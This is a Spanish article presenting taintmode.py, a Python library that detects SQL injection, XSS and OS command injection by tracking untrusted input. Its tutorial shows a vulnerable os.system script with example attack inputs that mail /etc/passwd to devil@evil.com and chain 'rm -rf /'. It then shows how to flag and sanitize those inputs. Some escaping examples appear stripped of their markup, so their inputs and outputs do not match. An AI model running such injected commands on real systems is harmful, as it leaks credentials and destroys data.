--------------------
Taint Mode en Python
--------------------
.. class:: endnote
+-------------------------------------------+-------------------------------------------+
| .. image:: ../taint/juanjodetraje.jpg |**Autor:** Juanjo Conti |
| :class: right foto | |
| |Juanjo es Ingeniero en Sistemas. Programa |
| |en Python desde hace 5 años y |
| |lo utiliza para trabajar, investigar |
| |y divertirse. |
| | |
| |**Blog:** http://juanjoconti.com.ar |
| | |
| |**Email:** jjconti@gmail.com |
| | |
| |**Twitter:** @jjconti |
| | |
| | |
| | |
| | |
+-------------------------------------------+-------------------------------------------+
Este artículo está basado en el paper *A Taint Mode for Python via a Library*
que escribí junto al Dr. Alejandro Russo de la universidad de tecnología de
Chalmers en Suecia y que fue presentado el 24 de junio en la conferencia OWASP
App Sec Research 2010.
Escenario
---------
Hoy en día muchas vulnerabilidades en aplicaciones web presentan
una amenaza para los sistemas online; ataques de SQL injection y XSS son de
los más comunes en la actualidad. Por lo general, estos ataques son el resultado de
un manejo inapropiado de los datos de entrada.
Para ayudar a descubrir estas
vulnerabilidades, una herramienta útil es Taint Analysis. Algunos lenguajes
como Perl o Ruby traen este modo de ejecución incorporado en su intérprete;
para Python no hay algo así "de fábrica" pero existen forks de CPython que
intentan proveer esta característica. La realidad marca que modificar el
intérprete es un trabajo bastante grande y estas ramificaciones no han tenido
adopción popular.
Como una forma de tratar de solucionar este problema, taintmode.py provee Taint
Analysis para Python mediante un módulo de usuario; no se requiere modificación
del intérprete. Algunas características del lenguaje, como la posibilidad de
crear clases en tiempo de ejecución, los decoradores y el duck typing,
permitieron implementar una librería en pocas líneas de código con
características más avanzadas que en enfoques previos.
Conceptos de Taint Analysis
---------------------------
Para arrancar vamos a hablar de algunos conceptos:
**Fuentes no confiables**. Cualquier dato no confiable es marcado como manchado.
En particular cualquier dato proveniente de parámetros GET y POST, encabezados
HTTP y solicitudes AJAX. También pueden marcarse como manchados datos
provenientes de fuentes de almacenamiento externo, como una base de datos; esta
podría haber sido alterada por una aplicación externa o sus datos alterados sin
autorización.
Los **sumideros sensibles** son aquellos puntos del sistema a los que no
queremos que lleguen datos no validados ya que en ellos puede venir enmascarado
un ataque. Algunos ejemplos son: en navegador o un engine que renderiza HTML,
motores de base de datos, el sistema operativo o el propio intérprete de Python.
El tercer elemento en juego son los métodos de sanitización; permiten escapar,
codificar o validar los datos de entrada para dejarlos en un formato apto para
ser enviados a alguno de los sumideros. Por ejemplo, en Python, cgi.escape
es un método de sanitización:
.. code-block:: pycon
>>> import cgi
>>> cgi.escape("")
"<script>alert('esto es un ataque')</script>"
¿Cómo usarlo?
-------------
El siguiente ejemplo es sencillo a propósito. Permite entender los conceptos,
sin preocuparnos mucho por el problema:
.. code-block:: python
import sys
import os
def get_datos(argumentos):
return argumentos[1], argumentos[2]
usermail, file = get_datos(sys.argv)
cmd = 'mail -s "Requested file" ' + usermail + ' < ' + file
os.system(cmd)
El script recibe como argumentos de entrada una dirección de correo electrónico y un
nombre de archivo. Como resultado envía por mail el archivo a su dueño.
El problema de esta aplicación es que el autor no tuve en cuenta algunos usos
alternativos que un atacante podría hacer de la misma. Usos posibles:
.. code-block:: bash
python email.py alice@domain.se ./reportJanuary.xls
python email.py devil@evil.com '/etc/passwd'
python email.py devil@evil.com '/etc/passwd ; rm -rf / '
El primer ejemplo es el uso correcto de la aplicación, aquel que el programador
tenía en mente cuando la escribió. El segundo ejemplo muestra la primer
vulnerabilidad; un atacante podría enviarse el contenido de /etc/passwd a su
cuenta de correo electrónico. El tercer ejemplo es aún más complicado; el
atacante no solo roba información sensible del sistema, sino que luego borra
los archivos del mismo. Por supuesto, el desarrollo de este escenario dependerá
mucho de cómo esté configurado el servidor y con qué permisos el atacante
ejecute el programa; pero creo que se entiende la idea.
Entonces... ¿cómo podría esta librería haber ayudado al programador a estar
alerta de estos problemas y solucionarlos? Lo primero es importar los componentes
de la librería y marcar sumideros sensibles y fuentes no confiables. La versión
modificada del programa quedaría así:
.. code-block:: python
import sys
import os
from taintmode import untrusted, ssink, cleaner, OSI
os.system = ssink(OSI)(os.system)
@untrusted
def get_datos(argumentos):
return [argumentos[1], argumentos[2]]
usermail, filename = get_datos(sys.argv)
cmd = 'mail -s "Requested file" ' + usermail + ' < ' + filename
os.system(cmd)
Notemos que hay que marcar la función get_datos como una fuente no confiable
(aplicando el decorador untrusted) y os.system como un sumidero sensible
a ataques de Operating Systema Injection (OSI).
Ahora, cuando intentamos correr el programa (independientemente de que los
argumentos pasados sean mal intencionados o no) obtendremos este mensaje por
la salida estándar:
.. code-block:: bash
$ python email.py jjconti@gmail.com miNotes.txt
===============================================================================
Violation in line 14 from file email.py
Tainted value: mail -s "Requested file" jjconti@gmail.com < miNotes.txt
-------------------------------------------------------------------------------
usermail, filename = get_datos(sys.argv)
cmd = 'mail -s "Requested file" ' + usermail + ' < ' + filename
--> os.system(cmd)
===============================================================================
La librería intercepta la ejecución justo antes de que el dato no confiable
alcance al sumidero sensible y lo informa. El paso siguiente es agregar una
función limpiadora para sanitizar los datos de entrada:
.. code-block:: python
import sys
import os
from taintmode import untrusted, ssink, cleaner, OSI
from cleaners import clean_osi
clean_osi = cleaner(OSI)(clean_osi)
os.system = ssink(OSI)(os.system)
@untrusted
def get_datos(argumentos):
return [argumentos[1], argumentos[2]]
usermail, filename = get_datos(sys.argv)
usermail = clean_osi(usermail)
filename = clean_osi(filename)
cmd = 'mail -s "Requested file" ' + usermail + ' < ' + filename
os.system(cmd)
En este ejemplo final se importa clean_osi, una función capaz de limpiar
datos de entrada contra ataques de OSI y en la línea siguiente
se marca como capaz de hacerlo (esto es requerido por la librería).
Finalmente utilizamos la función para limpiar las entradas del programa.
Cuando ejecutemos el script, correrá normalmente.
¿Cómo funciona?
---------------
La librería utiliza identificadores para las distintas vulnerabilidades con
las que se quiera trabajar; a estos identificadores los llamados etiquetas.
Además, cuenta con decoradores para marcar distintas partes del programa
(clases, métodos o funciones) como alguno de los tres elementos que
mencionamos en la sección sobre Taint Analysis.
untrusted
~~~~~~~~~
untrusted es un decorador utilizado para indicar que los valores retornados por
una función o método no son confiables. Como los valores no confiables pueden
contener potencialmente cualquier tipo de mancha, estos valores contienen
todas las etiquetas. No sabemos quién puede estar escondido detrás
y qué tipo de ataque intentando realizar.
Si se tiene acceso a la definición de la función o método, por ejemplo si es
parte de nuestro código, el decorador puede aplicarse mediante azúcar
sintáctica:
.. code-block:: python
@untrusted
def desde_el_exterior():
...
Al usar módulos de terceros, podemos aplicar de todas formas el decorador. El
siguiente ejemplo es de un programa que utiliza el framework web.py:
.. code-block:: python
import web
web.input = untrusted(web.input)
ssink
~~~~~
El decorador ssink debe utilizarse para marcar aquellas funciones o métodos que
no queremos sean alcanzadas por valores manchados: sumideros
sensibles o sensitive sinks.
Estos sumideros son sensibles a un tipo de vulnerabilidad, y debe
especificarse cuando se utiliza el decorador.
Por ejemplo, la función eval de Python es un sumidero sensible a ataques de
Interpreter Injection. La forma de marcarlo como tal es:
.. code-block:: python
eval = ssink(II)(eval)
El framework web.py nos provee ejemplos de sumideros sensibles a ataques de SQL
injection:
.. code-block:: python
import web
db = web.database(dbn="sqlite", db=DB_NAME)
db.delete = ssink(SQLI)(db.delete)
db.select = ssink(SQLI)(db.select)
db.insert = ssink(SQLI)(db.insert)
Cómo con los otros decoradores, si el sumidero sensible es definido en nuestro
código, podemos utilizar azúcar sintánctica de esta forma:
.. code-block:: python
@ssink(XSS):
def generar_respuesta(input):
...
El decorador también puede utilizarse sin especificar ninguna vulnerabilidad.
En este caso, el sumidero es marcado como sensible a todos los tipos de
vulnerabilidad, aunque este no es un caso de uso muy común:
.. code-block:: python
@ssink():
def muy_sensible(input):
...
Cuando un valor manchado alcanza un sumidero sensible, estamos ante la
existencia de una vulnerabilidad y un mecanismo apropiado es ejecutado.
cleaner
~~~~~~~
cleaner es un decorador utilizado para indicar que un método o función tiene la
habilidad de limpiar manchas en un valor.
Por ejemplo, la función texto_plano remueve código HTML de su entrada y retorna
un nuevo valor limpio:
.. code-block:: python
>>> texto_plano("Esto es negrita")
'Esto es negrita'
>>> texto_plano("Click here")
'Click here'
Este tipo de funciones están asociadas a un tipo de vulnerabilidad; por lo
tanto la forma de utilizar el decorador cleaner es especificando un tipo de
mancha. Nuevamente hay dos formas de hacerlo. En la definición:
.. code-block:: python
@cleaner(XSS)
def texto_plano(input):
...
o antes de empezar a utilizar la función en nuestro programa:
.. code-block:: python
texto_plano = cleaner(XSS)(texto_plano)
Taint aware
~~~~~~~~~~~
Una de las partes principales de la librería se encarga de mantener el rastro
de la información de las manchas para las clases built-in (como int o str).
La librería define en forma dinámica subclases de estas para agregar un atributo
que permita realizar esta trazabilidad; para cada objeto el atributo consiste
en un set de etiquetas representando las manchas que tiene en un momento dado de la
ejecución. Los objetos son considerados sin manchas cuando el set de etiquetas
está vacío. En el contexto de la librería, estas subclases son llamadas
*taint-aware classes*. Los métodos heredados de las clases built-in son
redefinidos para que sean capaces de propagar la información de las manchas.
Por ejemplo, si a y b son objetos manchados, c tendrá la unión de las manchas
de ambos:
.. code-block:: python
c = a.action(b)
Estado actual
-------------
En este breve artículo se expusieron las características principales de la
librería; para conocer algunas características más avanzadas y otros detalles
de su implementación pueden visitar su sitio web en http://www.juanjoconti.com.ar/taint/
Más información & links
-----------------------
* OWASP App Sec 2010: http://alturl.com/5u94e
* OWASP: http://www.owasp.org
* Seguridad en Python: http://www.pythonsecurity.org